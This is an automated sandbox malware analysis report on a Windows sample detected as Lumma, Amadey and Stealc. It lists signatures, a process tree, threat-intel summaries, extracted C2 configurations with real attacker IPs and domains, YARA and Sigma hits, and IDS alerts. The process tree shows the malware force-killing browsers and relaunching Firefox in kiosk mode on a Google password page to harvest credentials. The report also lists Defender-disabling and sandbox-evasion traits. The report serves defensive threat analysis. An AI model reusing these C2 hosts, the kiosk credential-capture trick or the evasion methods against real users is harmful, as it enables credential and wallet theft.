Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1541351
MD5:	20430d8d39abdf5fc6b9654a561b7e83
SHA1:	9d1c8689f22d03701e34afd63e0bda0a627bb8b8
SHA256:	69d745bdccdf2c55a32b1fcb94ce3b99e389978e505f8b6add95fc11a043e8b4
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

PE file has a writeable .text section

Query firmware table information (likely to detect VMs)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Connects to many different domains

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to detect virtual machines (SIDT)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7160 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 20430D8D39ABDF5FC6B9654A561B7E83)

ST44OD0PMG8MCMYJRN4.exe (PID: 1824 cmdline: "C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe" MD5: 8D5F53AD3653F36A74E84D628FF68D7B)

skotes.exe (PID: 6416 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 8D5F53AD3653F36A74E84D628FF68D7B)

9NWW1UIUAOJA8NFOZHWEDA.exe (PID: 1340 cmdline: "C:\Users\user\AppData\Local\Temp\9NWW1UIUAOJA8NFOZHWEDA.exe" MD5: 20A21EC73989A782B2B0243F0ED123BA)

M0SHVBI03XTU9LNHD2O8UA8TC8F.exe (PID: 1456 cmdline: "C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe" MD5: 9ECB1B706853034FB1CECE1F7863F40C)

skotes.exe (PID: 2884 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 8D5F53AD3653F36A74E84D628FF68D7B)

26e226f915.exe (PID: 6976 cmdline: "C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe" MD5: 20430D8D39ABDF5FC6B9654A561B7E83)

ef2532c0b1.exe (PID: 1016 cmdline: "C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe" MD5: 20A21EC73989A782B2B0243F0ED123BA)

90bef5afae.exe (PID: 5204 cmdline: "C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe" MD5: 977038EB3A4497AD51F742FA49E90CEF)

taskkill.exe (PID: 5200 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6968 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 3516 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 1080 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6316 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6700 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4196 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4568 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 3088 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2444 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 3060 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

num.exe (PID: 4132 cmdline: "C:\Users\user\AppData\Local\Temp\1001229001\num.exe" MD5: 791FCEE57312D4A20CC86AE1CEA8DFC4)

26e226f915.exe (PID: 4020 cmdline: "C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe" MD5: 20430D8D39ABDF5FC6B9654A561B7E83)

J5ZZ1Y85CCQU7EF0IIBN6DLOUVMA.exe (PID: 3524 cmdline: "C:\Users\user\AppData\Local\Temp\J5ZZ1Y85CCQU7EF0IIBN6DLOUVMA.exe" MD5: 8D5F53AD3653F36A74E84D628FF68D7B)

PPP8FUHMDUG38MZT5OEEJAB.exe (PID: 7120 cmdline: "C:\Users\user\AppData\Local\Temp\PPP8FUHMDUG38MZT5OEEJAB.exe" MD5: 20A21EC73989A782B2B0243F0ED123BA)

1USEAVXFST1CCUTT4RKEBB0FQ1.exe (PID: 6656 cmdline: "C:\Users\user\AppData\Local\Temp\1USEAVXFST1CCUTT4RKEBB0FQ1.exe" MD5: 9ECB1B706853034FB1CECE1F7863F40C)

firefox.exe (PID: 6064 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 5012 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 3820 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2276 -parentBuildID 20230927232528 -prefsHandle 2212 -prefMapHandle 2204 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a09107fa-2b02-4b88-8d3f-d1bbd3ed1ba2} 5012 "\\.\pipe\gecko-crash-server-pipe.5012" 170f356e110 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 5168 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4340 -parentBuildID 20230927232528 -prefsHandle 4348 -prefMapHandle 4344 -prefsLen 26265 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {98d7e8a7-213f-46a0-8d10-1ac585e34cc2} 5012 "\\.\pipe\gecko-crash-server-pipe.5012" 17083a29810 rdd MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

26e226f915.exe (PID: 6764 cmdline: "C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe" MD5: 20430D8D39ABDF5FC6B9654A561B7E83)

TBWW22TPTEFJD0MFEV8VM5Q8IDL74.exe (PID: 940 cmdline: "C:\Users\user\AppData\Local\Temp\TBWW22TPTEFJD0MFEV8VM5Q8IDL74.exe" MD5: 8D5F53AD3653F36A74E84D628FF68D7B)

ef2532c0b1.exe (PID: 2996 cmdline: "C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe" MD5: 20A21EC73989A782B2B0243F0ED123BA)

90bef5afae.exe (PID: 1404 cmdline: "C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe" MD5: 977038EB3A4497AD51F742FA49E90CEF)

taskkill.exe (PID: 6504 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4616 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4196 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 1548 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 1396 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6648 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 3512 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5024 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5156 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 3388 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

num.exe (PID: 6832 cmdline: "C:\Users\user\AppData\Local\Temp\1001229001\num.exe" MD5: 791FCEE57312D4A20CC86AE1CEA8DFC4)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Threatname: LummaC

{"C2 url": ["dissapoiznw.store", "licendfilteo.site", "clearancek.site", "eaglepawnoy.store", "mobbipenju.store", "bathdoomgaz.store", "spirittunek.store", "studennotediw.store"], "Build id": "4SD0y4--legendaryy"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\Users\user\AppData\Local\Temp\1001229001\num.exe	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
C:\Users\user\AppData\Local\Temp\1001229001\num.exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000003.00000002.2368072745.0000000000131000.00000040.00000001.01000000.00000006.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001F.00000002.3104366518.0000000000181000.00000080.00000001.01000000.00000018.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001F.00000000.3089240746.0000000000181000.00000080.00000001.01000000.00000018.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000C.00000002.3013087261.0000000000041000.00000040.00000001.01000000.00000010.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000021.00000003.3176264555.00000000049F0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001C.00000003.3219630830.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000003.2972676425.00000000052C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000004.00000002.2408818591.00000000004A1000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001C.00000003.3198150791.000000000101F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000027.00000002.3340338956.0000000001097000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001C.00000003.3173301010.000000000101F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000021.00000002.3222497122.0000000000041000.00000040.00000001.01000000.00000010.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000E.00000003.3097542418.000000000135F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
00000025.00000003.3296905401.0000000004AC0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000021.00000002.3230829652.0000000000C9B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000003.00000003.2327332998.0000000004E20000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000D.00000003.3141191649.00000000016AB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001F.00000002.3113201257.000000000129E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000009.00000003.2733867471.0000000004F50000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001C.00000003.3219630830.000000000101F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.2404867306.0000000000791000.00000040.00000001.01000000.0000000A.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001C.00000003.3178327332.000000000101F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000003.2368421842.0000000004E60000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001C.00000003.3239956921.0000000001028000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000026.00000003.3324835217.0000000004A70000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000005.00000003.2364334996.0000000004AD0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000C.00000002.3014293851.000000000159E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000027.00000002.3337452066.0000000000181000.00000080.00000001.01000000.00000018.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000027.00000000.3322904939.0000000000181000.00000080.00000001.01000000.00000018.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000025.00000002.3339391328.0000000000821000.00000040.00000001.01000000.0000001D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000D.00000003.3047169433.00000000016B0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.2416316812.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 7160	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 7160	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7160	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 9NWW1UIUAOJA8NFOZHWEDA.exe PID: 1340	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 9NWW1UIUAOJA8NFOZHWEDA.exe PID: 1340	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: ef2532c0b1.exe PID: 1016	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: ef2532c0b1.exe PID: 1016	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 26e226f915.exe PID: 4020	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 26e226f915.exe PID: 4020	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 26e226f915.exe PID: 4020	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 90bef5afae.exe PID: 5204	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Process Memory Space: 26e226f915.exe PID: 6764	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 26e226f915.exe PID: 6764	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Click to see the 40 entries

Unpacked PEs

Source	Rule	Description	Author
39.2.num.exe.180000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
31.0.num.exe.180000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
39.0.num.exe.180000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
37.2.J5ZZ1Y85CCQU7EF0IIBN6DLOUVMA.exe.820000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
4.2.9NWW1UIUAOJA8NFOZHWEDA.exe.4a0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
5.2.skotes.exe.790000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
3.2.ST44OD0PMG8MCMYJRN4.exe.130000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
13.3.26e226f915.exe.169ed50.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
33.2.ef2532c0b1.exe.40000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
31.2.num.exe.180000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
12.2.ef2532c0b1.exe.40000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
13.3.26e226f915.exe.169ed50.2.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 7 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 2884, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\26e226f915.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 2884, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\26e226f915.exe

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T18:08:02.411178+0200	2054653	1	A Network Trojan was detected	192.168.2.6	49709	104.21.53.8	443	TCP
2024-10-24T18:08:03.628116+0200	2054653	1	A Network Trojan was detected	192.168.2.6	49710	104.21.53.8	443	TCP
2024-10-24T18:08:13.510343+0200	2054653	1	A Network Trojan was detected	192.168.2.6	49739	104.21.53.8	443	TCP
2024-10-24T18:09:31.442888+0200	2054653	1	A Network Trojan was detected	192.168.2.6	50003	104.21.53.8	443	TCP
2024-10-24T18:09:32.751564+0200	2054653	1	A Network Trojan was detected	192.168.2.6	50004	104.21.53.8	443	TCP
2024-10-24T18:09:40.457854+0200	2054653	1	A Network Trojan was detected	192.168.2.6	50024	104.21.53.8	443	TCP
2024-10-24T18:09:43.128130+0200	2054653	1	A Network Trojan was detected	192.168.2.6	50028	104.21.53.8	443	TCP
2024-10-24T18:09:48.939306+0200	2054653	1	A Network Trojan was detected	192.168.2.6	50050	104.21.53.8	443	TCP
2024-10-24T18:09:59.502972+0200	2054653	1	A Network Trojan was detected	192.168.2.6	50060	104.21.53.8	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T18:08:02.411178+0200	2049836	1	A Network Trojan was detected	192.168.2.6	49709	104.21.53.8	443	TCP
2024-10-24T18:09:31.442888+0200	2049836	1	A Network Trojan was detected	192.168.2.6	50003	104.21.53.8	443	TCP
2024-10-24T18:09:40.457854+0200	2049836	1	A Network Trojan was detected	192.168.2.6	50024	104.21.53.8	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T18:08:03.628116+0200	2049812	1	A Network Trojan was detected	192.168.2.6	49710	104.21.53.8	443	TCP
2024-10-24T18:09:32.751564+0200	2049812	1	A Network Trojan was detected	192.168.2.6	50004	104.21.53.8	443	TCP
2024-10-24T18:09:43.128130+0200	2049812	1	A Network Trojan was detected	192.168.2.6	50028	104.21.53.8	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T18:08:22.622003+0200	2019714	2	Potentially Bad Traffic	192.168.2.6	49744	185.215.113.16	80	TCP
2024-10-24T18:09:35.902456+0200	2019714	2	Potentially Bad Traffic	192.168.2.6	50007	185.215.113.16	80	TCP
2024-10-24T18:09:59.076819+0200	2019714	2	Potentially Bad Traffic	192.168.2.6	50053	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T18:09:18.150257+0200	2044696	1	A Network Trojan was detected	192.168.2.6	49996	185.215.113.43	80	TCP
2024-10-24T18:09:27.158095+0200	2044696	1	A Network Trojan was detected	192.168.2.6	49999	185.215.113.43	80	TCP
2024-10-24T18:09:34.985854+0200	2044696	1	A Network Trojan was detected	192.168.2.6	50006	185.215.113.43	80	TCP
2024-10-24T18:09:40.004228+0200	2044696	1	A Network Trojan was detected	192.168.2.6	50020	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T18:07:59.878550+0200	2056477	1	Domain Observed Used for C2 Detected	192.168.2.6	62811	1.1.1.1	53	UDP
2024-10-24T18:09:16.491679+0200	2056477	1	Domain Observed Used for C2 Detected	192.168.2.6	55961	1.1.1.1	53	UDP
2024-10-24T18:09:29.022667+0200	2056477	1	Domain Observed Used for C2 Detected	192.168.2.6	49816	1.1.1.1	53	UDP
2024-10-24T18:09:37.998306+0200	2056477	1	Domain Observed Used for C2 Detected	192.168.2.6	50929	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T18:07:59.807361+0200	2056471	1	Domain Observed Used for C2 Detected	192.168.2.6	64853	1.1.1.1	53	UDP
2024-10-24T18:09:16.424998+0200	2056471	1	Domain Observed Used for C2 Detected	192.168.2.6	64287	1.1.1.1	53	UDP
2024-10-24T18:09:28.957368+0200	2056471	1	Domain Observed Used for C2 Detected	192.168.2.6	59100	1.1.1.1	53	UDP
2024-10-24T18:09:37.776058+0200	2056471	1	Domain Observed Used for C2 Detected	192.168.2.6	65096	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)

